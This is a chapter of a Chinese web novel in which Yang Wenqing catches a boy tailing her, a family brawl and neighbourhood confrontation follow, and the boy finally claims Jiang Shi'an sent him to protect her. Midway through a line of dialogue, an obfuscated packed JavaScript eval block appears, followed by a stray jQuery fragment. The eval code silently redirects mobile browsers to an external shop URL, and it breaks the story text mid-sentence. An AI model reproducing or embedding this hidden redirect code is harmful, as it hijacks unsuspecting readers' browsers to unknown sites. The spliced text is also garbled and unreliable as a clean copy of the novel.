那一下,杨文箐是铆足了劲儿扔的,所以她有百分之百的把握能打中。
事实也果然如此,杨文箐那把沙土撒出去后没过一秒,对面的麦秸垛后就传来了“啊!”的一声惊呼。
紧接着,还有自行车倒地的声音。
好家伙!
原来对方也骑着自行车,难怪能一路跟着。
不过尽管打中了,杨文箐依旧不敢轻敌,生怕对方跑了,便又朝院子里大喊道:“杨文励,出来!”
她之所以喊杨文励,还是因为杨国强的腿伤还没好,否则,也犯不着叫杨文励一个小屁孩出来撑场面了。
但还别说,杨文励年纪虽小,响应速度倒是够快——
杨文箐这边话音才刚落,他就跟阵风似的,屁颠颠儿地从屋里跑了出来,气喘吁吁地问:“姐,你回来啦。咋了?叫我干啥?”
“你去那边看看,是什么人藏在那里?”杨文箐指着自家的麦秸垛说道。
“人?什么人?”杨文励虽然不解,嘴上还问着,动作却丝毫不受影响,“人”字落音时,他就已经朝那人扑了过去。
“姐,真有个人!我已经把他抓住了,你快来!”
杨文箐这才绕到麦秸垛后,一眼便瞧见另一个看似顶多十六七岁的男生正与杨文励扭打在一起。
不过虽说是扭打,但杨文励明显占了上风,那男生也不知是心虚还是怎么,只顾着奋力掰扯杨文励揪他头发的手。眼睛似乎还被杨文箐之前撒的沙土迷住了,挤眉弄眼的,脸上也沾满了土……总之,别提有多狼狈了。
但狼狈归狼狈,跟踪自己就是他不对!
杨文箐指着男生问道:“你到底是谁?跟踪我究竟有什么居心?”
“啥?跟踪!”杨文励一听这话立马炸了,不等男生开口,就又一胳膊肘朝男生脸上怼了过去,“敢跟踪我姐,我看你是活腻了!”
那男生可能确实被他这一下打疼了,情急之下动了真火,反手便一巴掌扇在杨文励头上。这下,可彻底惹恼了杨文励,他立刻摆出以往跟同学打架的架势,大喊了一声,手脚并用,甚至直接上嘴,拼命地跟那男生缠斗起来。
“啊……你别咬我啊!”男生实在招架不住,只得奋力挣扎。
两人缠斗得难解难分,很快便从麦秸垛后滚了出来。
如此一来,自然也惊动了屋内的王淑兰和杨国强。
王淑兰本就对“杨文箐既然回了家,却不进门,反倒把杨文励叫出去”这事心存不悦。虽说坐在炕头纳着鞋底,视线却时不时瞟向院外。结果这一瞟,居然看到自己儿子正跟人在地上滚成一团,她当即惊呼了一声,扔下手里的活计便冲了出来。
“诶,干什么呢这是?你是谁啊?从哪儿来的?为什么打我儿子?!”
杨国强也被惊得从炕上匆忙滑下来,连鞋都没来及穿好,随手摸过拐杖拄着,趿拉的鞋便一瘸一拐地从屋里走了出来,边走边焦急大喊:“到底咋回事?!”
杨文箐也手忙脚乱地试图将两人分开,怎奈杨文励的手抓得实在太紧,根本分不开。
最终,还是在三人的合力之下,才终于把扭打的两人拉开了。
“你到底是谁?为什么跑到我家门口来打我儿子?!”一把杨文励拉起来,王淑兰便气喘吁吁地指着地上的男生质问。
“就是!到底怎么回事?!”杨国强也厉声问道。
男生顶着满头被杨文励撕扯得乱糟糟的头发,喘了半天粗气,才无奈地抹了把脸,说:“我能说这是一场误会吗?”
“啥?误会?”王淑兰:“什么误会?!”
“别听他的。”杨文励却压根不想给那男生解释的机会,抬起脚就又要踹过去:“他就是跟踪我姐了,你个流氓……”
“哎哎哎……”杨国强只得拉着胳膊把他又扯了回来,他试图教会杨文励什么叫先礼后兵,“你不能这么着急,得先听他说!警察审犯人还给个坦白的机会呢,咱得学会先礼后兵,不能连个说话的机会都不给人家。”
不过他话是这样说,却也用拐杖狠狠地在那男生腿上戳了一下,语气也极为不客气,“你说!我倒要听听你怎么个误会法。”
而这时,由于闹出的动静太大,左邻右舍也纷纷出来看热闹,很快周边就围了一圈人。
其中有个人似乎认识那男生,只往里面看了一眼,便在人群外围失声惊呼道:“咦?这不是小勇吗?”
这句话无疑吸引了在场声所有人的目光,连杨国强也回过头,看向那说话的中年男人,问:“王二哥,怎么,你认识他?”
男生更是在看到那个叫他名字的中年男人后,眼泪都快涌出来了,委屈地叫了一声:“表舅。”
“哎呦!”那男人这时也才真切地看清了男生的模样,顿时一拍大腿,“还真是小勇!”
他赶紧转向杨国强,解释道:“这是我姑家表姐的孩子,就住在隔壁赵家沟,这……这到底是怎么回事呀?!”
而杨国强一听这话,脸色也骤然变了,眉头皱得死紧,面上也露出为难的神色,显然在斟酌要不要给那男人一个面子,对男生网开一面。
倒是王淑兰,冷哼一声,目光依旧落在地上的男生身上,意有所指地说道:“管他是谁家的孩子,这又是跟踪又是打我儿子的,今儿你要是不说出个所以然来,看我不把你扭到派出所,告你个流氓罪才怪!”
“哎呦他二嫂,这可不敢!孩子毕竟年纪还小,有话咱们好好说。”那男人一听这话顿时慌了神,连忙快步走到王淑兰跟前,一边好言好语地劝慰着她,一边抬腿朝那男生踹了一脚,“还不赶紧把事情解释清楚?要不然真等把你扭送到派出所,先不说别人,你看你爸不得先扒了你的皮?”
那男生明显也怕了,连忙解释道:“表舅,您相信我!真的只是一场误会!我……我根本没想跟踪任何人,跟这小子动手,也是他一直追着我打,不信你们看!”
他撸起袖子,将杨文励咬出的伤口展示给众人看:“这么深的牙印,就是这小子咬的!还有我的头发、身上的衣服,也全是他弄的!”
“但你们再看看他。”他又指向杨文励,“身上有一点伤吗?”
众人这才顺着话头看向杨文励,发现果然如他所说——杨文励别说受伤了,身上的衣服都好好的,没有一处破损,简直与那男生的狼狈模样形成了鲜明对比。
见大家都看向自己,杨文励还一脸得意地挺了挺胸脯,对着正上上下下仔细检查他的王淑兰说:“妈,你放心
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17649181|206462||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
,我没事。他没说错,刚才确实是我一直在打他。”
王淑兰的脸色这才缓和了些,但显然仍不想轻易放过男生,又冷哼了一声道:“就算没动手打我儿子,那跟踪的事你怎么解释?总不能连这个也是我们冤枉你吧?”
男生动了动唇,似乎想解释,可看了眼旁边站着的杨文箐,又面露难色地把嘴闭上了。
“这个……我不能说。”他支吾道。
“什么!?”被他称作“表舅”的男人一听就急了,扬起手就想往他头上招呼一下,“都什么时候了,还不能说?怎么?你是想等到了派出所再说吗!”
男生被他吓得下意识地抬手挡了下头,却依旧不肯说实话,只是支支吾吾地说:“去派出所就去派出所,反正我没做什么亏心事,我不怕!但这事真的不能说,我答应了人家要保密的。”
“答应谁了?!你到底答应谁了?!”表舅简直要被他气炸了,抬手在他头上狠狠扇了好几下才稍稍解气,他咬牙切齿地指着眼前这个不争气的姑表外甥,“行,我治不了你,我这就让人给你爸捎话,让他来收拾你!”
“哎别别别!”男生显然是真怕他爸,慌忙拽住表舅的裤脚,“我说我说!我说还不行吗!”
表舅这才转过身:“说!”
在场所有人的视线也再次落在了男生脸上,然而,就在大家都屏息等待他的答案时,男生却在经历了一番痛苦的抉择挣扎后,抬眼看向了杨文箐,说:“我能只告诉你吗?”
杨文箐一怔,下意识地看了眼杨国强。
其实从男生刚才开口解释的那一刻起,她就隐约感觉到,对方应该并不是所谓的跟踪狂之类的人。
毕竟如果变态都像他这样,被一个比自己小那么多的孩子打成这样,却还不敢还手,那未免也太“纯良”了。
再加上对方现在坚持只跟自己说,也让她更坚定了这种想法。
毕竟不光打不还手、咬不还口的“纯良”变态不多见,这么讲义气的也很少有。
但她依然不理解,什么话是只有她能听的吗?
“为什么只告诉我?”她问男生道。
“因为……”男生几番纠结,最终却只是“哎呀”一声,说道:“只告诉你就只告诉你呗,你非为什么干什么?”
“嘿!你这小子……”表舅一看他这样,扬手又想抽他。
这下,连杨国强都有点看不下去了。
他这么大岁数自然也不是白活的,什么样的人打眼一看心里就有了七八分底,自然也看出眼前这小子并不是什么“坏”孩子,便替杨文箐做了主。
“行了行了,他既然只想跟阿箐说,那就让他跟阿箐说吧,咱们都走,不听,行了吧?”
说完他便冲包括王淑兰在内的众人摆了摆手,“走吧走吧,咱们走,让他俩说去。”
就连不情愿走的杨文励,也被他强行拉走了。
“这下总能说了吧。”直到周围人全都走光,身边一个人也没有了,杨文箐这才问男生道。
男生却依旧皱着眉,一副不愿开口的模样,直到杨文箐都等得有些不耐烦了,他才狠狠地抹了把脸,摆出一副豁出去的架势,开口说道:“如果我说,是江时安让我来保护你的,你信吗?”